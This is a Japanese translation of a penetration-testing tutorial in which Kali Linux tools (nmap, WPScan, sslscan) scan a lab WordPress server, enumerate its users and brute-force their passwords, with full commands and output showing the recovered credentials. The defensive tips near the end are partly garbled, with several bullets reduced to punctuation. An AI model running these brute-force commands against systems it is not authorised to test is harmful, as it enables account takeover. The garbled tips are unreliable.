Kaliおよび他の同様のツールは、ソフトウェアの脆弱性を検出するのに役立ちます。そして、侵入者ではなく、最初にそれらを見つけた方が良いです。
袋の中に千枚通しを隠すことはできません。無知から(場合によっては意図的に)、大企業でさえセキュリティシステムに穴を残します。 (1)ローカライズして(2)できるだけ早く修正することが重要です。幸いなことに、最初のポイントに役立つさまざまな製品があります。その中には 、セキュリティテスト用に設計されたLinuxディストリビューションであるKaliがあります。この記事では、Kali Linuxを使用してシステムを調査し、攻撃者をシミュレートして弱点を見つける方法を紹介します。
Kaliディストリビューションには多くのツールが含まれており、それらはすべてオープンソースです。ディストリビューションのインストールを実行するだけで十分であり、これらのツールはすべて箱から出して利用できます。
画像 :Peter Gervase 、 CC BY- SA4.0
テスト対象として2つのシステムを使用します。
- kali.usersys.redhat.com:30GBのメモリと6つの仮想CPU。このシステムは被害者をスキャンし、攻撃を開始します。
- 脆弱性.usersys.redhat.com:Red Hat Enterprise Linux8が搭載されたシステム。ここでは攻撃する必要があります。
ここで機器の技術的特徴について触れたのには理由があります。私たちのタスクのいくつかは、ハードウェア、特にWordPressセキュリティスキャナー(WPScan)を実行するシステム2CPUに非常に厳しいもの です。
開いているポートを検索する
システム2の基本的なスキャンから始めました。Nmapを使用してシステムをスキャンすると、スキャンを開始した システム1から表示されているポートとサービスを確認できます。
画像 :Peter Gervase 、 CC BY-SA 4.0
したがって、最初に行うことは、いくつかの「興味深い」オープンポート(潜在的な弱点)を見つけることです。実際、開いているポートはネットワークを危険にさらす可能性が高いため、興味深いものです。この例では、21、22、80、および443は、頻繁に使用されるサービスのポートでもあります。しかし今のところ、私はインテリジェンスを実行し、ハッキングしたいシステムについてできるだけ多くの情報を取得しようとしています。
その後、より詳細な分析のために、ポート80を選択し、-p80および-A引数を指定してNmapコマンドを実行します。これにより、ポート80を使用しているオペレーティングシステムとアプリケーションに関する情報を取得できます。
画像 :Peter Gervase 、 CC BY-SA 4.0
ここでは、次の行に関心があります。
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux)) |_http-generator: WordPress 5.6.1
ユーザーに関する情報の検索
これがWordPressサーバーであることがわかったので、WPScanを使用して潜在的な脆弱性に関する情報を取得できます。いくつかのユーザー名とそのパスワードを見つけると便利です。特定のWordPressインスタンスでそれらを見つけるには、-enumerate uオプションを使用します。 すばらしい、adminと pgervaseの2人のユーザーが見つかりました 。パスワード辞書(可能なオプションのセットを含むテキストファイル)を使用して、管理者ユーザーのパスワードを推測しようとします。3,231行と3,543,076,137行の辞書を取ります。
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
辞書攻撃によるパスワード推測
辞書攻撃にはさまざまなツールを使用できます。NmapとWPScanを使用した2つのコマンド例を次に示します。
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
もちろん、これら2つのツールはさらに多くのことを実行できますが、パスワードを推測するのにも適しています。
ただし、このWPScanコマンドは、たとえば、ファイルの最後にパスワードを表示します。
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
最後の「見つかった有効な組み合わせ」セクション には、ユーザー名adminと彼のパスワードが含まれています。3,231行以上を繰り返すのにたった2分しかかかりませんでした。
3,238,659,984の一意のエントリを含む別の辞書ファイルがありますが、これにはさらに時間がかかります。
Nmapははるかに高速に結果を生成します。
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
確かに、このようなスキャンは、侵害されたシステムで検出されるHTTPDログによって追跡できます。
10.19.47.170 - — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)» 10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10 (https://wpscan.org/)»
HeartbleedVulnerabilityを検索する
HTTPSサーバーとSSL / TLSプロトコルに関する情報を取得するには、sslscanコマンドを使用します。
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
<snip>
サーバーで使用されているプロトコルバージョンにHeartbleedの脆弱性は見つかりませんでした 。
Heartbleed: TLSv1.3 not vulnerable to heartbleed TLSv1.2 not vulnerable to heartbleed
それは、Heartbeatモジュールを介してRAMとサーバーのデータにアクセスできないことを意味します。まあ...それは運命ではありません:)
ハッキングの防止と保護のヒント
あらゆる種類のハッカーによる攻撃に抵抗する方法について、多くの記事を書くことができます。ここでは、一般的な推奨事項に限定します。
- システムを調べます。どのポートが開いているか、どのポートが開いているか、誰がそれらのポートを表示できるか、どのくらいのトラフィックがそれらを通過するかを調べます。あなたを助けるためにNmap。
- : , , . .
- : , , WordPress, IP- . , IP- , . , .
- : , .
- : , . , .
- , : , « - ».
- ソフトウェアベンダーの追加ツールを活用します。たとえば、Red Hat EnterpriseLinuxにはRedHat Insightsが含まれており、システムを調整し、潜在的なセキュリティの脅威をタイムリーに警告します。
役立つ資料(英語)
この記事で説明されているのは、氷山の一角にすぎません。さらに深く掘り下げるには、次のリソースを調べることができます。
Macleodのクラウドサーバー は高速で安全です。
上記のリンクを使用するか、バナーをクリックして登録すると、任意の構成のサーバーをレンタルした最初の月が10%割引になります。